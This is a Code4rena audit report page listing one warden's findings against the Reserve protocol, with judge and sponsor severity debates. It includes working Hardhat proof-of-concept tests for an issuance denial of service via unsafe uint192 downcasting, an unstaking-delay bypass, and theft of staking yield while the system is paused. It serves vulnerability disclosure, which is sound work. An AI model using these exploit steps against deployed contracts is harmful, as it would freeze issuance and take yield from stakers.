Platform: Code4rena
Start Date: 06/01/2023
Pot Size: $210,500 USDC
Total HM: 27
Participants: 73
Period: 14 days
Judge: 0xean
Total Solo HM: 18
Id: 203
League: ETH
Rank: 6/73
Findings: 4
Award: $8,940.36
π Selected for report: 2
π Solo Findings: 1
π Selected for report: Soosh
4418.1679 USDC - $4,418.17
issue(...)
can be exploited to cause permanent DoSI first found this bug in issue(...)
at first, but unsafe downcasting appears in many other areas of the codebase, and seem to also be exploitable but no PoC is provided due to time constraints. Either way, using some form of safe casting library to replace all occurences of unsafe downcasting will prevent all the issues. I also do not list the individual instances of unsafe downcasting as all occurences should be replaced with safe cast.
The amtRToken
is a user supplied parameter in the issue(uint256 amtRToken)
function
uint192 amtBaskets = uint192( totalSupply() > 0 ? mulDiv256(basketsNeeded, amtRToken, totalSupply()) : amtRToken );
The calculated amount is unsafely downcasted into uint192
.
This means that if the resulting calculation is a multiple of $2^{192}$, amtBaskets = 0
The code proceeds to the following line, where erc20s
and deposits
arrays will be empty since we are asking for a quote for 0. (see quote(...)
in BasketHandler.sol
where amounts are multiplied by zero)
(address[] memory erc20s, uint256[] memory deposits) = basketHandler.quote( amtBaskets, CEIL );
This means an attacker can call issue(...)
with a very high amtRToken
amount that is a multiple of $2^{192}$, without depositing any amount of collateral.
The DoS issues arises because whenFinished(uint256 amtRToken)
is dependent on amtRToken
. With such a high value, allVestAt
will be set so far in the future that it causes a permanent DoS. i.e. Issuances will never vest.
uint192 vestingEnd = whenFinished(amtRToken); // D18{block number}
This PoC demonstrates that an attacker can call issue(...)
without collateral tokens to modify allVestAt
variable to an extreme value, such that all further issuances cannot be vested for all users.
Do note that the PoC is done with totalSupply() == 0
case, so we supply amtRToken
as a multiple of $2^{192}$. Even if there is an existing totalSupply()
, we just need to calculate a value for amtRToken >= 2^192
such that $\frac{\text{basketsNeeded} \times \text{amtRToken}}{totalSupply()} = 0$. This attack does not require totalSupply()
be zero.
uint192 amtBaskets = uint192( totalSupply() > 0 ? mulDiv256(basketsNeeded, amtRToken, totalSupply()) : amtRToken );
The amount
, baskets
and quantities
values are also messed up, but it would not matter anyways...
Under 'Issuance and Slow Minting' tests in RToken.test.ts
:
it('Audit: DoS by downcasting', async function () { const issueAmount: BigNumber = BigNumber.from(2n ** 192n) // Set basket await basketHandler.connect(owner).setPrimeBasket([token0.address], [fp('1')]) await basketHandler.connect(owner).refreshBasket() // Attacker issues 2 ** 192, or a multiple of 2 ** 192 RTokens // This will cause allVestAt to be veryyyyy high, permanent DoS const tx = await rToken.connect(addr1)['issue(uint256)'](issueAmount) const receipt = await tx.wait() console.log(receipt.events[0].args) await token0.connect(addr2).approve(rToken.address, initialBal) const tx2 = await rToken.connect(addr2)['issue(uint256)'](initialBal) const receipt2 = await tx2.wait() console.log(receipt2.events[0].args) // one eternity later... await advanceTime('123456789123456789') // and still not ready await expect(rToken.connect(addr2).vest(addr2.address, 1)) .to.be.revertedWith("issuance not ready") })
Run with:
yarn test:p1 --grep "Audit: DoS"
Expect to see (only important parts shown):
[ ... recipient: '0x70997970C51812dc3A010C7d01b50e0d17dc79C8', index: BigNumber { value: "0" }, amount: BigNumber { value: "6277101735386680763835789423207666416102355444464034512896" }, baskets: BigNumber { value: "0" }, erc20s: [ '0x998abeb3E57409262aE5b751f60747921B33613E' ], quantities: [ BigNumber { value: "0" } ], blockAvailableAt: BigNumber { value: "627710173538668076383578942320766744610235544446403452" } ] [ ... recipient: '0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC', index: BigNumber { value: "0" }, amount: BigNumber { value: "6300000000000000000000000000000000000000000000000000000000" }, baskets: BigNumber { value: "22898264613319236164210576792333583897644555535965487104" }, erc20s: [ '0x998abeb3E57409262aE5b751f60747921B33613E' ], quantities: [ BigNumber { value: "22898264613319236164210576792333583897644555535965487104" } ], blockAvailableAt: BigNumber { value: "1257710173538668076383578942320766744610235544446403452" } ] RTokenP1 contract Issuance and Slow Minting β Audit: DoS by downcasting
Permanent DoS would be High risk considering RToken is an asset-backed currency. A currency that is unable to issue new currency does not work as a currency
Also, I believe existing collateral cannot be redeemed due to the extreme values also used in redeem(...)
function. No PoC written due to time constriant for this case... but above should be enough impact.
Many other downcasting issues for this project. But using a safe casting library would prevent all the issues... not going to write multiple reports for same underlying issue.
Use some safe casting library. OpenZeppelin's library does not have safe casting for uint192
type. May have to find another or write your own.
#0 - 0xean
2023-01-22T02:09:47Z
Will leave open for sponsor review, think M severity is the correct if the finding turns out to be fully valid. If no more issuance can occur, redemption is still possible. Warden would have needed to demonstrate a loss of funds for this to qualify as H severity.
#1 - c4-judge
2023-01-22T02:09:53Z
0xean changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-01-23T23:23:57Z
0xean marked the issue as satisfactory
#3 - c4-sponsor
2023-01-26T19:57:25Z
tbrent marked the issue as disagree with severity
#4 - tbrent
2023-01-26T20:01:12Z
We have supported ranges of value. See docs/solidity-style.md
.
The only mistake here is that issue()
has somewhat lacking in-line documentation:
Downcast is safe because an actual quantity of qBUs fits in uint192
The comment in redeem()
is a bit better:
// downcast is safe: amount < totalSupply and basketsNeeded_ < 1e57 < 2^190 (just barely)
We'll probably improve the comment in issue()
to match redeem()
. This should be a QA-level issue.
#5 - c4-judge
2023-01-31T15:13:57Z
#6 - soosh1337
2023-02-07T08:56:42Z
I don't see how documentation prevents this issue.
The issue exists because downcasting values above 2^192 does not revert. Maybe the sponsor misunderstood the issue thinking that it would require the attacker to deposit 2^192 of the collateral in order for the attack to succeed which is an extremely unlikely scenario.
Updated the PoC to clearly show that the attacker can permanently disable the issue(...)
function for the protocol, without owning any amount of the basket token. - addr1 is the attacker with 0 basket tokens, addr2 represents all future users who will not be able to issue new RTokens.
it('Audit: DoS by downcasting', async function () { const issueAmount: BigNumber = BigNumber.from(2n ** 192n) await token0.burn(addr1.address, bn('6.3e57')) await token0.burn(addr2.address, bn('6.3e57')) // await token0.mint(addr1.address, bn('10e18')) await token0.mint(addr2.address, bn('10e18')) expect(await token0.balanceOf(addr1.address)).to.eq(0) expect(await token0.balanceOf(addr2.address)).to.eq(bn('10e18')) // Set basket await basketHandler.connect(owner).setPrimeBasket([token0.address], [fp('1')]) await basketHandler.connect(owner).refreshBasket() // Attacker issues 2 ** 192, or a multiple of 2 ** 192 RTokens // This will cause allVestAt to be very high, permanent DoS const tx = await rToken.connect(addr1)['issue(uint256)'](issueAmount) const receipt = await tx.wait() console.log(receipt.events[0].args) await token0.connect(addr2).approve(rToken.address, bn('10e18')) const tx2 = await rToken.connect(addr2)['issue(uint256)'](bn('10e18')) const receipt2 = await tx2.wait() console.log(receipt2.events[0].args) // one eternity later... await advanceTime('123456789123456789') // and still not ready await expect(rToken.connect(addr2).vest(addr2.address, 1)) .to.be.revertedWith("issuance not ready") })
Additionally, I still believe this issue should be considered High risk as:
There is no direct loss of funds but I'd argue the impact is vast due to RToken being used as a currency.
#7 - 0xean
2023-02-07T14:27:37Z
Thanks for the response.
There is no direct loss of funds but I'd argue the impact is vast due to RToken being used as a currency.
If there is no direct loss of funds, how can this issue be H per the C4 criteria, not your own opinion?
I will ask @tbrent to take another look at your POC and do the same as well.
#8 - soosh1337
2023-02-07T15:21:39Z
I agree with M if following C4 criteria in the docs exactly word for word.
It is just that there are many H findings in previous contests where H findings did not need to cause direct loss of funds, but break an important functionality in the protocol.
To be clear, this issue does lead to loss of funds. It is just that it may not be considered direct.
It is indeed my opinion that the finding should be H, but the points listed below are all facts. I will respect your decision regardless. Thanks!
#9 - tbrent
2023-02-07T16:27:25Z
I agree with the Warden that this is H. Apologies, I misunderstood the issue the first time I read through it...indeed this can be used to mint large amounts of RToken to yourself while putting down very little in collateral, while pushing allVestAt
extremely far into the future.
#10 - c4-sponsor
2023-02-07T16:27:36Z
tbrent marked the issue as sponsor confirmed
#11 - tbrent
2023-02-07T16:34:59Z
H is too high, actually. Since issuanceRate
cannot be disabled, and cannot be above 100%, there is no way for the absurdly high RToken mint to finish vesting. In the event of the attack, RToken issuance would be bricked but redemption would remain enabled, and since no RToken is minted until vesting the redemptions would still function. Sorry to jump the gun: I think this is a M.
#12 - 0xean
2023-02-07T19:33:57Z
Thanks for all the conversation, marking as Medium.
#13 - c4-judge
2023-02-08T01:11:19Z
This previously downgraded issue has been upgraded by 0xean
#14 - c4-judge
2023-02-08T01:11:20Z
This previously downgraded issue has been upgraded by 0xean
1529.3658 USDC - $1,529.37
In unstake(...)->pushDraft(...)
, This part of code decides the time after which a user may withdraw()
their stake. It is calculated as block.timestamp + unstakingDelay
or lastAvailableAt
whichever is later. lastAvailableAt
being the last, pending, unstake availableAt
timestamp the user has.
uint64 lastAvailableAt = index > 0 ? queue[index - 1].availableAt : 0; availableAt = uint64(block.timestamp) + unstakingDelay; if (lastAvailableAt > availableAt) { availableAt = lastAvailableAt; }
Assume unstakingDelay
is currently set at 1 year and Alice calls unstake(...)
for half her stake, availableAt
= $\theta$.
Then, governance decides to setUnstakingDelay(...)
to a new value of 14 days.
If Alice calls unstake(...)
for the other half of her stake after this proposal, the availableAt
will be set to $\theta$, not the new 14 days.
For a user Bob who did not call unstake(...)
before the proposal, if he calls unstake(...)
now, availableAt
will be block.timestamp + 14 days
for him.
It is not clear why this is an issue yet -> See Impact section.
The PoC will demonstrate the current functionality as described above.
In ZZStRSR.test.ts
:
it('Audit: lastAvailableAt', async () => { await stRSR.connect(owner).setUnstakingDelay(bn(MAX_UNSTAKING_DELAY)) await rsr.connect(addr1).approve(stRSR.address, stake) await stRSR.connect(addr1).stake(stake) await rsr.connect(addr2).approve(stRSR.address, stake) await stRSR.connect(addr2).stake(stake) const halfStake = stake.div(2) await stRSR.connect(addr2).unstake(halfStake) await stRSR.connect(owner).setUnstakingDelay(bn('1209600')) // 2 weeks const tx1 = await stRSR.connect(addr1).unstake(stake) const res1 = await tx1.wait() expect(Number(res1.events[1].args.availableAt)) .to.eq(Number(await getLatestBlockTimestamp() + 1209600)) const tx2 = await stRSR.connect(addr2).unstake(halfStake) const res2 = await tx2.wait() expect(Number(res2.events[1].args.availableAt)) .to.be.approximately(Number(await getLatestBlockTimestamp() + MAX_UNSTAKING_DELAY), 10) })
Run with:
yarn test:p1 --grep "Audit: lastAvailableAt"
To see:
StRSRP1 contract Add RSR / Rewards β Audit: lastAvailableAt (530ms) 1 passing (2m)
EITHER the current functionality is correct but can be bypassed OR the current functionality is incorrect
Case 1 - the current functionality is correct but can be bypassed:
unstake(...)
. This means she can withdraw()
after 14 days, instead of at $\theta$draftQueues[draftEra][account]
is only tied to an account, by using another EOA, we bypass the lastAvailableAt
check.Case 2 - the current functionality is incorrect:
unstake(...)
follow lastAvailableAt
?availableAt
to always be block.timestamp + unstakingDelay
?This unintended functionality/bypass would indicate Medium, although the impact scales with how drastic the unstakingDelay
change is. The example used for 1 year -> 14 days change is certainly an edge case for maximum impact.
The team should consider what the intended calculation for availableAt
be in such a scenario. This depends on what is considered intended functionality by the team so no concrete recommendation is given.
#0 - c4-judge
2023-01-24T02:59:38Z
0xean marked the issue as satisfactory
#1 - c4-sponsor
2023-01-26T01:07:17Z
pmckelvy1 marked the issue as sponsor acknowledged
#2 - c4-judge
2023-01-30T23:57:45Z
0xean marked the issue as primary issue
#3 - c4-judge
2023-02-09T15:24:43Z
0xean marked issue #210 as primary and marked this issue as a duplicate of 210
π Selected for report: Soosh
Also found by: __141345__
1988.1755 USDC - $1,988.18
It is possible for a user to steal the yield from other stakers by staking when the system is paused or frozen.
This is because staking is allowed while paused/frozen, but _payoutRewards()
is not called during so. Staking rewards are not paid out to current stakers when a new staker stakes, so the new staker immediately gets a portion of the rewards, without having to wait for a reward period.
function stake(uint256 rsrAmount) external { require(rsrAmount > 0, "Cannot stake zero"); if (!main.pausedOrFrozen()) _payoutRewards(); ... }
A test case can be included in ZZStRSR.test.ts
under 'Add RSR / Rewards':
it('Audit: Loss of staking yield for stakers when another user stakes in pause/frozen state', async () => { await rsr.connect(addr1).approve(stRSR.address, stake) await stRSR.connect(addr1).stake(stake) await advanceTime(Number(config.rewardPeriod) * 5) await main.connect(owner).pause() await rsr.connect(addr2).approve(stRSR.address, stake) await stRSR.connect(addr2).stake(stake) await main.connect(owner).unpause() await stRSR.connect(addr1).unstake(stake) await stRSR.connect(addr2).unstake(stake) await advanceTime(Number(config.unstakingDelay) + 1) await stRSR.connect(addr1).withdraw(addr1.address, 1) await stRSR.connect(addr2).withdraw(addr2.address, 1) const addr1RSR = await rsr.balanceOf(addr1.address) const addr2RSR = await rsr.balanceOf(addr2.address) console.log(`addr1 RSR = ${addr1RSR}`) console.log(`addr2 RSR = ${addr2RSR}`) expect(Number(addr1RSR)).to.be.approximately(Number(addr2RSR), 10) })
Note that await advanceTime(Number(config.rewardPeriod) * 5)
can be before or after the pause, same result will occur
Run with:
yarn test:p1 --grep "Audit"
Output:
addr1 RSR = 10000545505689818061216 addr2 RSR = 10000545505689818061214 StRSRP1 contract Add RSR / Rewards β Audit: Loss of staking yield for stakers when another user stakes in pause/frozen state (1504ms) (1504ms) 1 passing (2m)
The PoC demonstrates that the staker2 stole half of the rewards from staker1. staker1 staked for 5 rewardPeriod
, staker2 did not have to wait at all, but still received half of the reward share.
This should fall into "Theft of unclaimed yield", suggesting High risk. But the amount of RSR that can be stolen depends on the liveliness of the staking pool (how often _payoutRewards()
is called). If the time window between the last stake(...)/unstake(...)/payoutRewards(...)
and pause()/freezeUntil(...)
is small, then no/less RSR yield can be stolen.
system-design.md
rewardPeriod:
Default value: `86400` = 1 day Mainnet reasonable range: 10 to 31536000 (1 year)
For RTokens which choose a smaller value for rewardPeriod
, the risk is higher. If rewardPeriod = 86400
like recommended, then for this attack to occur, no one must have called stake(...)/unstake(...)/payoutRewards(...)
for 1 day before the pause/freeze occured.
Likelihood is Low for a reasonably set rewardPeriod
and lively project. Therefore submitting as Medium risk.
I'm unsure of why staking is allowed when paused/frozen and the reason for the line:
Β if (!main.pausedOrFrozen()) _payoutRewards();
The team should consider the reason for the above logic.
If the above logic is required, then I would suggest that poke()
in Main.sol
be called inside of pause()
and freezeUntil(...)
to update the state before pausing/freezing. Since distribute(...)
has modifier notPausedOrFrozen
, I would assume in pause/frozen state, no RSR is sent to stRSR contract(i.e. no rewards when paused/frozen) so this recommendation should be sufficient in preventing the issue.
#0 - c4-judge
2023-01-24T03:03:23Z
0xean marked the issue as satisfactory
#1 - c4-judge
2023-01-24T17:04:51Z
0xean marked the issue as primary issue
#2 - c4-sponsor
2023-01-26T17:56:09Z
pmckelvy1 marked the issue as disagree with severity
#3 - c4-sponsor
2023-01-26T17:57:18Z
pmckelvy1 marked the issue as sponsor acknowledged
#4 - pmckelvy1
2023-01-27T14:51:43Z
We acknowledge the issue but think it should be downgraded to QA
#5 - c4-sponsor
2023-01-27T14:52:23Z
pmckelvy1 marked the issue as sponsor confirmed
#6 - pmckelvy1
2023-01-27T16:45:40Z
not sure if duplicate, but at least very similar to https://github.com/code-423n4/2023-01-reserve-findings/issues/470
#7 - 0xean
2023-01-30T23:54:37Z
@pmckelvy1 - why do you believe this should be QA?
Please see the rubric here - https://docs.code4rena.com/awarding/judging-criteria#estimating-risk
to me the impact here does sound like leaking value (a M severity)
#8 - pmckelvy1
2023-02-06T21:41:02Z
this might have been a mixup. i think M severity makes sense @0xean , sorry for the confusion
#9 - c4-judge
2023-02-09T15:28:31Z
0xean marked the issue as selected for report
π Selected for report: CodingNameKiki
Also found by: 0xA5DF, 0xAgro, 0xNazgul, 0xSmartContract, Aymen0909, BRONZEDISC, Bnke0x0, Breeje, Cyfrin, GalloDaSballo, HollaDieWaldfee, IceBear, IllIllI, MyFDsYours, RaymondFam, Ruhum, SaharDevep, Sathish9098, Soosh, Udsen, __141345__, brgltd, btk, carlitox477, chaduke, chrisdior4, cryptonue, delfin454000, descharre, hihen, joestakey, ladboy233, lukris02, luxartvinsec, peanuts, pedr02b2, rotcivegaf, shark, tnevler, yongskiws
1004.6363 USDC - $1,004.64
requireNotPausedOrFrozen()
claimComp(address holder)
in Comptroller can be called by anyone, sending the COMP rewards to the holder specified.
In the claiming functions for RToken.sol
function claimRewardsSingle(IERC20 erc20) external { requireNotPausedOrFrozen(); RewardableLibP1.claimRewardsSingle(assetRegistry.toAsset(erc20)); }
and Trading.sol
function claimRewardsSingle(IERC20 erc20) external notPausedOrFrozen { RewardableLibP1.claimRewardsSingle(main.assetRegistry().toAsset(erc20)); }
The protocol expects that claimRewards(...)
cannot be called when the protocol is paused or frozen. But a user could directly call claimComp
on the comptroller contract, to send COMP rewards to RToken
, BackingManager
and RevenueTrader
contracts.
Also, the event emitted will report wrong values if claimComp
was called directly.
function claimRewards() external virtual override { IERC20 comp = IERC20(comptroller.getCompAddress()); uint256 oldBal = comp.balanceOf(address(this)); comptroller.claimComp(address(this)); emit RewardsClaimed(comp, comp.balanceOf(address(this)) - oldBal); }
"wrong" as in the total sum of all amounts from the RewardsClaimed
events will not total the actual amount of rewards claimed by the contracts.
event RewardsClaimed(IERC20 indexed erc20, uint256 indexed amount);
Affected:
It is unexpected that COMP rewards can still be claimed when the protocol is paused/frozen but I could not find a path in which this will lead to a bigger issue.
I don't think this can really be prevented, it is just important to keep in mind that COMP balances of contracts which inherit IRewardableComponent could be changed without permission/knowledge of the protocol.
Therefore, if RewardsClaimed
event should be consumed by an external program, know that the values could be misrepresented.
This issue will likely also apply to other Compound-fork protocols. For AAVE, this is not an issue because AAVE reward claiming is permissioned (msg.sender must be authorised claimer).
In both the setUnstakingDelay(...)
and setRewardPeriod(...)
governance functions, there exists a common check for rewardPeriod * 2 <= unstakingDelay
.
function setUnstakingDelay(uint48 val) public governance { require(val > 0 && val <= MAX_UNSTAKING_DELAY, "invalid unstakingDelay"); emit UnstakingDelaySet(unstakingDelay, val); unstakingDelay = val; require(rewardPeriod * 2 <= unstakingDelay, "unstakingDelay/rewardPeriod incompatible"); } function setRewardPeriod(uint48 val) public governance { require(val > 0 && val <= MAX_REWARD_PERIOD, "invalid rewardPeriod"); emit RewardPeriodSet(rewardPeriod, val); rewardPeriod = val; require(rewardPeriod * 2 <= unstakingDelay, "unstakingDelay/rewardPeriod incompatible"); }
Assume governance decides to change these parameters.
Even if the final unstakingDelay
and rewardPeriod
are compatible, the governance transaction may still revert due to a bad ordering of function calls.
Say that the current rewardPeriod
is $w$ weeks, and the unstakingDelay
is $2w$ weeks in seconds.
If updating $\text{rewardPeriod} \gt w$, then setUnstakingDelay(...)
must be called first such that $\text{unstakingDelay} \ge 2 \times \text{newRewardPeriod}$.
If updating $\text{unstakingDelay} < 2w$, then setRewardPeriod(...)
must be called first such that $rewardPeriod \le \frac{\text{newUnstakingDelay}}{2}$
Otherwise, the transactions will revert at the require(rewardPeriod * 2 <= unstakingDelay, "unstakingDelay/rewardPeriod incompatible");
check.
Affected:
Since this is a governance function, there is a higher risk.
The reason is that these functions require a voting process to take place, which incurs significant gas costs for all governance participants (on Ethereum) - think voting process, queueing, execution, cancelling and retrying.
Additionally, the default Governor Alexios implementation takes 7 days end-to-end (from Proposal to Execution) due to voting delay and timelock.
Availability is impacted and there is significant gas wasted. It is also a plausible mistake to not consider the transaction order when setting new compatible parameters.
One way to prevent this is to combine both setUnstakingDelay(...)
and setRewardPeriod(...)
into one function, performing the check only after both values are set so such a transaction ordering mistake cannot be made.
permit(...)
does not account for erastRSR has a permit(...)
function
function permit(...) public virtual { require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); bytes32 structHash = keccak256( abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline) ); PermitLib.requireSignature(owner, _hashTypedDataV4(structHash), v, r, s); _approve(owner, spender, value); }
A permit could be signed off-chain, allowing some user to later set allowance according to the signed permit.
Because era
is not included in the hash struct, if era
changed, an unused, signed permit would still be valid. That is, allowance will be set for the new era
in _approve(...)
_allowances[era][owner][spender] = amount;
If deadline
is set to a reasonable value, this is partially mitigated. Also, in most cases, if a user permits another user to spend tokens, they usually already trust that user, therefore submitting as Low.
This issue also applies to vote delegation - delegateBySig(...)
in stRSRVotes.sol
.
Affected:
It is possible to hold a signed permit()
across different eras.
It is possible to hold a signed delegate()
across different eras.
era
in the structHash
setRedemptionRateFloor(...)
should be checked for reasonable valueThe function does not currently have a bound for acceptable values
function setRedemptionRateFloor(uint256 val) public governance { emit RedemptionRateFloorSet(battery.redemptionRateFloor, val); battery.redemptionRateFloor = val; }
refer to system-design.md
- RedemptionBattery:
"Either of the two variables can be defined to be zero to disable them"
...
RedemptionBattery.redemptionRateFloor Dimension: {qRTok/hour} The redemption rate floor is the minimum quantity of RToken to allow redemption of per-hour, and thereby the rate to charge the redemption battery at. Default value: 1e24 = 1,000,000 RToken Mainnet reasonable range: 1e23 to 1e27
I think it is important that redemptionRateFloor
cannot be set to zero, but instead require it to be > 1e23
. If only scalingRedemptionRate
is set, and redemptionRateFloor
is disabled (zero), users can never redeem all RTokens since the amount redeemable is a percentage of totalSupply.
^ The same problem as trying to reach the end of a room, but each step taken must be half the distance of the previous step.
Note that the issue is that both values can be set to zero at the same time. The above is reason for making redmeptionRateFloor
non-zero, rather than enforcing scalingRedemptionRate
be non-zero.
This contradicts a known issue behavior on the contest page
"The governance has the ability to freeze, and with long freezing enabled (default) it is possible for governance to soft-lock the backing for the duration of the freezing period by preventing the RToken holders from redeeming. The idea is to turn off freezing capabilities couple months into RToken existence."
The last sentence suggests that governance should eventually not be able to soft-lock the backing.
The ability to set redemptionRateFloor
to zero/a small amount allows governance another way to soft-lock the backing without freezing capabilities. (governance sets both to zero, no amount can be redeemed)
function setRedemptionRateFloor(uint256 val) public governance { + require(val >= 1e23, "invalid amount"); emit RedemptionRateFloorSet(battery.redemptionRateFloor, val); battery.redemptionRateFloor = val; }
melt()
in redeem(...)
In redeem(...)
,
// Failure to melt results in a lower redemption price, so we can allow it when paused // solhint-disable-next-line no-empty-blocks try main.furnace().melt() {} catch {}
main.furnace().melt()
will call RToken.melt()
:
function melt(uint256 amtRToken) external notPausedOrFrozen { _burn(_msgSender(), amtRToken); emit Melted(amtRToken); requireValidBUExchangeRate(); }
The intention behind the try-catch
as stated by the comment is so that even if melt()
reverts due to being paused (notPausedOrFrozen
modifier), it should still allow the user to redeem(...)
at a lower redemption price.
However, this also means that requireValidBUExchangeRate()
check is bypassed. If the requireValidBUExchangeRate()
does not hold true, the external tx is reverted, and execution continues at the empty catch block.
melt()
can silently fail (furnace does not actually burn any tokens) due to the try-catch
when redeeming.
Even if redeeming when not paused, there could be a silent failure to melt()
resulting in a lower redemption price for the redeemer.
if (!main.pausedOrFrozen()) { main.furnace().melt() }
This will make it so that redeem(...)
will revert if requireValidBUExchangeRate()
does not hold after melt()
. (should create a paused()
function to check if paused. Above recommendation is based on existing pausedOrFrozen()
function).
system-design.md - RedemptionBattery:
In order to restrict the system to organic patterns of behavior, we have the concept of a Redemption Battery. When redemption occurs, it uses up stored battery charge. The battery has a natural charging rate, which is controlled by the combination of two variables:Β _redemptionRateFloor_Β andΒ _scalingRedemptionRate_.
Issue is that someone can grief with this functionality, causing a DoS since there isn't really a penalty for continuously issue(...) -> vest(...) -> redeem(...)
to drain the battery, only gas costs. The attacker uses up the battery charge so other users cannot redeem.
This is amplified if issuance rate is set higher than redeem rate, since issuances for the attacker can be instantly vested and redeemed in a single transaction.
Issuance can also be DOS, but that requires capital lockup for the griefer (Since they will also have to wait to vest)
Prevent other users from redeeming RTokens
Would submit as higher risk if I had a decent recommendation.
Inherent risk due to design/purpose of this functionality.
#0 - c4-judge
2023-01-25T00:16:41Z
0xean marked the issue as grade-a